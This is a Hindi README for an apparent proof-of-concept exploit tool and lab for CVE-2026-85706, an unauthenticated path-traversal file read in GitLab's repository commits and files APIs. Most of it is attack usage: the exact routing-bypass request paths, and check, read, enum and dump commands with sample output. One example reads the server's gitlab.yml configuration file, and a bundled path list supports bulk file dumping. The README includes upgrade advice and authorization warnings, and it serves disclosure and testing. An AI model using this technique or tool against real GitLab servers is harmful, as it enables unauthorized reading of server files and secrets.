
CVE-2026-85706 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और रिप्रोडक्शन लैब, जो GitLab CE/EE रिपॉजिटरी कमिट्स और फाइल्स API में एक अनऑथेंटिकेटेड पाथ-ट्रैवर्सल फाइल रीड है।
CVE-2026-85706 GitLab CE/EE के Repository Commits और Repository Files API में एक गंभीर पाथ-ट्रैवर्सल / अनुपस्थित-प्रमाणीकरण समस्या है: एक अनधिकृत हमलावर सर्वर से मनमानी फ़ाइलें पढ़वा सकता है और त्रुटि चैनल के माध्यम से उनकी सामग्री प्राप्त कर सकता है। CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)।
GitLab का आधिकारिक शीर्षक है "Path Traversal issue in repository commits API impacts GitLab CE/EE"। इसका फिक्स 2026-09-10 को 19.3.2 / 19.2.6 / 19.1.8 में जारी हुआ।
[!IMPORTANT] क्या आप self-managed GitLab <= 19.3.1 चला रहे हैं? 19.3.2 / 19.2.6 / 19.1.8 पर अपग्रेड करें।
[!WARNING] केवल अधिकृत उपयोग। इस टूल को केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है।
इस रिपॉज़िटरी में एक स्वतंत्र प्रूफ़ ऑफ़ कॉन्सेप्ट, एक न्यूनतम प्रजनन लैब और एक पूर्ण तकनीकी विश्लेषण शामिल है:
किसी भी तृतीय-पक्ष सिस्टम से कैप्चर किया गया कोई डेटा शामिल नहीं है।
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
लैब केवल 127.0.0.1 पर सुनता है और केवल अपने lab/vault/ सैंडबॉक्स के अंदर पढ़ता है, इसलिए यह आपकी वास्तविक मशीन पर
कभी फ़ाइलों को छू नहीं सकता।
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
self-signed प्रमाणपत्रों के लिए --insecure जोड़ें, और एन्कोडेड पाथ की तुलना में संख्यात्मक प्रोजेक्ट id को प्राथमिकता दें
(group%2Fproject के बजाय --project <id>)।
| Command | Purpose | Key options |
|---|---|---|
check | क्या लक्ष्य असुरक्षित है? हर बायपास वेक्टर की प्रतिक्रियाओं की तुलना करता है | --canary-path, --no-bypass-probe |
read | एक फ़ाइल पढ़ता है और बताता है कि उसकी सामग्री लीक होती है या नहीं | --file <path>, --media <type> |
enum | पाथ की एक सूची की जाँच करता है और प्रत्येक को वर्गीकृत करता है | --wordlist, --wordlist-file |
dump | हर पठनीय फ़ाइल को डिस्क पर सहेजता है, एक मैनिफ़ेस्ट और कच्ची प्रतिक्रियाओं के साथ | --files, --files-file, --outdir |
check द्वारा प्रिंट किए गए लेबल:
| Label | Request path |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - क्या लक्ष्य असुरक्षित है?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
एग्ज़िट कोड: 0 = असुरक्षित; 1 = परीक्षण किए गए वेक्टरों के साथ शोषणीय नहीं (पैच किया गया, या रूट अपहुँच से बाहर)।
जानने योग्य दो विवरण:
Workhorse bypass probe ब्लॉक रूटिंग प्रमाण है: file केवल तब मौजूद होता है जब Workhorse ने बॉडी को बफ़र और
साइन किया हो, इसलिए 400 {"error":"file is missing"} साबित करता है कि बायपास रूट ने उस पाइपलाइन को छोड़ दिया
जबकि फिर भी API तक पहुँच गया। पैच किए गए बिल्ड पर वह अंतिम पंक्ति HTTP 401 पढ़ती है।commits-canonical -> 401) कंट्रोल केस है: वहाँ Workhorse file.path को फिर से लिखता है,
इसलिए हमलावर का मान कभी असुरक्षित कोड तक नहीं पहुँचता।read - एक फ़ाइल पढ़ें$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
एग्ज़िट कोड: 0 = सामग्री का खुलासा हुआ, या बेसलाइन द्वारा पुष्टि किया गया प्री-ऑथेंटिकेशन पठन; 1 = कोई प्री-ऑथ पठन नहीं देखा गया।
enum / dump - बल्क प्रोबिंगpython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt में 45 रोचक GitLab/Linux पाथ शामिल हैं; --wordlist / --files इनलाइन या
फ़ाइल के माध्यम से दिए जा सकते हैं, और दोनों रूपों को संयोजित किया जा सकता है। ये केवल दो सबकमांड हैं जो वास्तविक फ़ाइल
सामग्री को छूते हैं - आउटपुट को इस रिपॉज़िटरी के बाहर लिखें और जो कैप्चर करें उसे कभी प्रकाशित न करें।
| Option | Meaning |
|---|---|
--url <base URL> | लक्ष्य बेस URL (आवश्यक) |
--project <id or encoded path> | सार्वजनिक प्रोजेक्ट id (123) या URL-एन्कोडेड पाथ (group%2Fproject), आवश्यक |
--token <PRIVATE-TOKEN> | वैकल्पिक; प्रमाणीकृत पाथ का परीक्षण करें |
--insecure | TLS सत्यापन छोड़ें (self-signed प्रमाणपत्र) |
-v, --verbose | हर अनुरोध/प्रतिक्रिया stderr पर प्रिंट करें |
--canary-path <path> | गारंटीड-अनुपस्थित पाथ जिसका उपयोग भेद्यता बेसलाइन के रूप में किया जाता है |
--color <mode> | auto (डिफ़ॉल्ट, वास्तविक टर्मिनल पर रंग), always, never |
विकल्प का क्रम मायने रखता है: साझा विकल्प सबकमांड के बाद आते हैं - check --url ... --insecure, न कि
--url ... check।
| Test | Result |
|---|---|
Patched control - gitlab.com, 19.3.2+ | हर वेक्टर 401 लौटाता है; एकमात्र अन्य उत्तर 400 {"error":"file is missing"} है जो रूटिंग बायपास को साबित करता है |
Local lab - lab/vulnerable_api.py | Rails-पक्षीय ट्रस्ट बग को शुरू से अंत तक पुन: उत्पन्न करता है; --patched तुलना बिल्ड देता है |
| Real self-managed instance - 19.3.1, लिखित प्राधिकरण | असुरक्षित की पुष्टि की गई; होस्ट और प्रोजेक्ट विवरण जानबूझकर यहाँ प्रकाशित नहीं किए गए हैं। समेकित परिणाम ANALYSIS.md, section 4.3 में |
यह सामग्री सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान की गई है - आपकी अपनी लैब, एक बग-बाउंटी कार्यक्रम, या लिखित अनुमति के साथ एक पेनेट्रेशन टेस्ट। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। तृतीय-पक्ष सिस्टमों तक अनधिकृत पहुँच अवैध है। जैसा है वैसा प्रदान किया गया, बिना किसी प्रकार की वारंटी के।